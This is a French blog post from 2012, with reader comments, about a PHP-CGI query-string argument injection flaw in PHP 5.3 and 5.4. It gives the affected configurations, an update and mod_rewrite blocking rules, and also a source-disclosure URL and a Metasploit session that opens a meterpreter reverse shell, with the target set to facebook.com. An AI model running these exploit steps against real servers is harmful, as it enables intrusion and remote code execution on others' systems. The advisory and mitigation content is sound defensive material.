Une importante faille de sécurité pour PHP 5.3 et 5.4


Warning
Une faille de sécurité assez grave vient d'être découverte dans les versions 5.3 et 5.4 de PHP. L'utilisation d'une simple requête HTTP permet d'afficher le code source de la page et éventuellement d'y retrouver les mots de passe utilisés. De quoi avoir quelques frissons dans le dos !

Faille de sécurité sur le site Facebook

1. La faille et les solutions pour la contrer

Pour pouvoir exploiter cette faille, il faut tout de même répondre aux conditions suivantes :

  • Utiliser une version de PHP sur le serveur inférieure à la 5.3.13 ou la 5.4.3
  • L'interpréteur PHP doit fonctionner en mode CGI, ce qui n'est pas le mode par défaut
  • La requête HTTP doit être du type Query String, commencer par le signe - et ne pas comporter de signe =
  • La méthode de la requête doit être soit un GET, soit un HEAD
  • Les modules FastCGI, mod_suphp, ainsi que le couple nginx + php-fpm ne sont pas concernés

Si vous ne savez pas dans quel mode est configuré votre serveur Apache, sachez qu'une configuration en mode CGI ressemble à quelque chose comme ça :

Options +ExecCGI
AddHandler php5-cgi .php

Voici un exemple de requête qui permet de lancer une attaque. Ici, on utilise le paramètre -s qui permet de forcer l'affichage du code source :

http://victime.fr/index.php?-s

Pour corriger cette faille, il existe aujourd'hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :

RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

2. Le module pour Metasploit

Un module pour Metasploit est déjà disponible et il se nomme "php_cgi_arg_injection". Celui-ci utilise le paramètre -d qui permet de modifier le comportement d'une page PHP dynamiquement, pour ouvrir un shell à distance. Voici un exemple d'utilisation :

# cd metasploit && svn up
# ./msfconsole -n
msf > use exploit/unix/webapp/php_cgi_arg_injection
msf > info
msf > set RHOST www.facebook.com
msf > set RPORT 80
msf > set TARGETURI /
msf > show payloads
msf > set PAYLAOD php/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.101
msf > set LPORT 4444
msf > exploit

[*] Started reverse handler on 192.168.1.101:4444
"/?-d+allow_url_include%3dtrue+-d+auto_prepend_file%3dphp://input"
[*] Sending stage (38791 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.101:443 -> 192.168.1.100:57139) at 2012-05-03 18:42:39 -0400

meterpreter > getuid
Server username: www-data (33)

Certains hackers risquent de s'en donner à cœur joie avec tout ça...


11 Commentaires pour "Une importante faille de sécurité pour PHP 5.3 et 5.4"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    C'est une blague ? As-tu pris le temps de visiter la page dont l'adresse apparaît dans le « code source » de Facebook ? As-tu pris le temps de te renseigner sur les configurations touchées par cet exploit ?

    RépondreRépondre
    Zopieux , le 4 mai 2012 à 14:33
  •  

    Non, c'est pas une blague. C'est juste que facebook a réagis rapidement pour afficher un lien vers la page de recrutement au lieu d'afficher la source. Et je reproduis la faille sur un serveur centos / php 5.3 CGI.

    Tout ça parce que les arguments passés au CGI sont mal échappés, c'est tordant non ?

    RépondreRépondre
    Popy , le 4 mai 2012 à 15:03
  •  

    j'adore ce genre de news c'est toujours très intéressant de savoir que c'était la sous nos yeux alors que nous l'utilisions depuis très longtemps.

    RépondreRépondre
    sl33k , le 4 mai 2012 à 16:22
  •  

    @Zopieux : comme le précise @Popy, ce n'est pas une blague et cette faille est bien réelle. C'est juste que chez Facebook, ils ont un peu d'humour.

    @sl33k : moi aussi je me dis souvent la même chose. Et je me demande aussi à chaque fois, combien de personnes étaient au courant et qui non rien dit pour garder l'exploit et l'utiliser quand bon leur semble ?

    RépondreRépondre
    pti-seb , le 4 mai 2012 à 17:55
  •  

    Je test :)

    RépondreRépondre
    SMed79 , le 5 mai 2012 à 08:39
  •  

    Officiellement : http://www.php.net/index.php#id2012-05-03-1

    RépondreRépondre
    SMed79 , le 5 mai 2012 à 08:55
  •  

    Les développeurs de PHP viennent de se rendre compte, aujourd'hui, qu'ils non pas complètement corrigée cette faille. Une autre version de PHP 5.3 et 5.4 est donc en cours de réalisation.

    Pour ceux qui utilise la règle mod_rewrite, et bien celle-ci à également changée pour prendre en compte cette nouvelle découverte. J'ai fais la mise à jour de l'article.

    RépondreRépondre
    pti-seb , le 7 mai 2012 à 08:57
  •  

    Bonjour et merci pour le traitement de l'info ..

    Voilà ce que je lis concernant les règles de réécriture, mais je ne maitrise pas ..

    RewriteCond %{QUERY_STRING} ^[^=]*$
    => la requête contient une QueryString qui ne contient pas de caractère "=" (tous les caractères de la QueryString (^*$) en partant du premier caractère(^) au dernier ($) sont différents du caractère "=" ([^=]))

    RewriteCond %{QUERY_STRING} %2d|- [NC]
    => la requête contient une QueryString qui contient le caractère "-" (la QueryString contient le code %2d ("-" en URL encoding) OU - ("-" en code ASCII échappé))

    RewriteRule .? - [F,L]
    => si les deux RewriteCond définies ci-dessus sont validées, alors on retourne un erreur 403 (le F de [F,L]) et on sort des règles de réécriture (L de [F,L]) ie on ne lit pas les règles suivantes

    Soit :
    Si la requête contient le caractère "?"
    et que, après ce "?", la requête ne contient pas de caractère "="
    et que, après ce "?", la requête contient le caractère "-"
    alors on retourne une erreur 403 et on arrête les réécritures

    Si quelqu'un peut confirmer, entre autres le double sens du caractère ^ dans la première RewriteCond ......

    - Pierre

    RépondreRépondre
    pierre , le 7 mai 2012 à 12:06
  •  

    @pierre : je te fais la traduction. Sache qu'il y a deux fiches mementos pour mod_rewrite disponible ici.

    RewriteCond %{QUERY_STRING} ^[^=]*$
    RewriteCond %{QUERY_STRING} %2d|\- [NC]
    RewriteRule .? - [F,L]
    

    Les deux premières lignes permettent de définir les requêtes qui sont concernés par la règle. Cela concerne :

    - les requêtes de type Query String qui ne comporte pas le signe =
    - et qui commence par - (forme normale ou forme encodée %2d) quelque soit la case (le flag NC veut no case sensitive)
    Pour toutes ces requêtes, on applique le flag F soit forbidden, ce qui revient à interdire ce types de requêtes.

    PS : en regex, le symbole ^ veut dire "tout ce qui commence par" et $ signifie "tout ce qui finit par".

    RépondreRépondre
    pti-seb , le 7 mai 2012 à 13:44
  •  

    j'adore

    RépondreRépondre
    damien , le 14 mai 2012 à 11:50
  •  

    Yop, rassurez moi juste.
    Le caractère ASCII RTL ne permet pas de bypass vos rewrite et/ou la secu' php hein...

    RépondreRépondre
    PunKeel , le 4 juin 2012 à 21:58
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum